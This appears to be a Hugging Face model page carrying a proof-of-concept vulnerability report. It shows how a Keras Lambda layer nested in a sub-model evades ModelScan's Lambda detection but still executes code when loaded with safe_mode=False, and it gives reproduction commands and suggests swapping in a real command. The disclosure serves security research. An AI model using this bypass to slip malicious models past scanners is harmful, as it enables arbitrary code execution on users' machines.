Instructions to use th3-j0k3r/modelscan-keras-nested-lambda-bypass with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Keras
How to use th3-j0k3r/modelscan-keras-nested-lambda-bypass with Keras:
# Available backend options are: "jax", "torch", "tensorflow". import os os.environ["KERAS_BACKEND"] = "jax" import keras model = keras.saving.load_model("hf://th3-j0k3r/modelscan-keras-nested-lambda-bypass") - Notebooks
- Google Colab
- Kaggle
| # ModelScan Bypass β Arbitrary Code Execution in `.keras` via Nested Lambda Layer | |
| Proof-of-concept for a **Huntr Model File Format** report. | |
| `model.keras` runs code on `keras.saving.load_model(..., safe_mode=False)` while | |
| **ModelScan reports it clean**. The malicious Lambda layer is hidden **one level deep inside a | |
| nested sub-model**. ModelScan's `KerasLambdaDetectScan` only inspects the flat, top-level | |
| `config.layers` list (and matches `class_name == "Lambda"` exactly), so it never sees the | |
| nested Lambda β but Keras deserializes sub-models recursively and executes it on load. | |
| ## Files | |
| - `model.keras` β the PoC model file (benign payload: writes `keras_poc_executed.txt`) | |
| - `exploit.py` β builds a flat model (detected) and the nested model (missed), scans + loads both | |
| - `README.md` β this file | |
| ## Reproduce | |
| Use **Python 3.10+** (verified on 3.12 / TensorFlow 2.21 / Keras 3.14 / modelscan 0.8.8). | |
| TensorFlow does not run on the EOL Python 3.9 β on macOS arm64 it aborts at import with | |
| `mutex lock failed`, which is unrelated to this issue. | |
| ```bash | |
| # 0) Get Python 3.10+ if needed: | |
| # macOS: brew install python@3.12 | |
| # Debian/Ubuntu: sudo apt-get install -y python3.12 python3.12-venv | |
| python3.12 --version # -> Python 3.12.x | |
| # 1) Clean virtual environment so `python` is 3.12, not the system 3.9 | |
| python3.12 -m venv venv | |
| source venv/bin/activate # Windows: venv\Scripts\activate | |
| python --version # -> Python 3.12.x | |
| pip install 'modelscan[tensorflow]' tensorflow keras | |
| # 2) Scanner says it is safe: | |
| modelscan -p model.keras # -> No issues found | |
| # 3) Loading it executes code: | |
| python -c "import keras; keras.saving.load_model('model.keras', safe_mode=False, compile=False)" | |
| ls keras_poc_executed.txt # marker proves code ran on load | |
| # or run the full demo (flat=detected, nested=bypass): | |
| python exploit.py # -> No issues found (BYPASS) + CODE EXECUTED | |
| ``` | |
| ## Why it works | |
| `modelscan/scanners/keras/scan.py` (`_get_keras_operator_names`): | |
| ```python | |
| lambda_layers = [ | |
| layer.get("config", {}).get("function", {}) | |
| for layer in model_config_data.get("config", {}).get("layers", {}) # TOP LEVEL ONLY | |
| if layer.get("class_name", {}) == "Lambda" # exact match | |
| ] | |
| ``` | |
| It iterates only the outer `config.layers` and never recurses. A Lambda inside a sub-model | |
| (top-level `class_name` is `Functional`, not `Lambda`) is invisible to the scan. | |
| ## Why this is a scanner bug (not `safe_mode` misuse) | |
| The report is not "Keras runs Lambda layers" (known). It is that ModelScan's `KerasLambdaDetectScan` | |
| flags a flat Lambda (1 issue) but returns 0 issues for an identical Lambda nested one level deep. | |
| Both files are equally dangerous; the scanner certifies one as clean. That false negative is the | |
| bug, independent of how the file is later loaded. | |
| ## Impact | |
| ModelScan is used to gate untrusted models in MLOps pipelines / model hubs. This file passes | |
| the scan as clean yet achieves arbitrary code execution on load β defeating the control. | |
| Verified on modelscan 0.8.8 / Keras 3.14.1 / TensorFlow 2.21. | |
| The payload here is benign (writes a marker file). Swap the command inside the Lambda in | |
| `exploit.py` to confirm real command execution. | |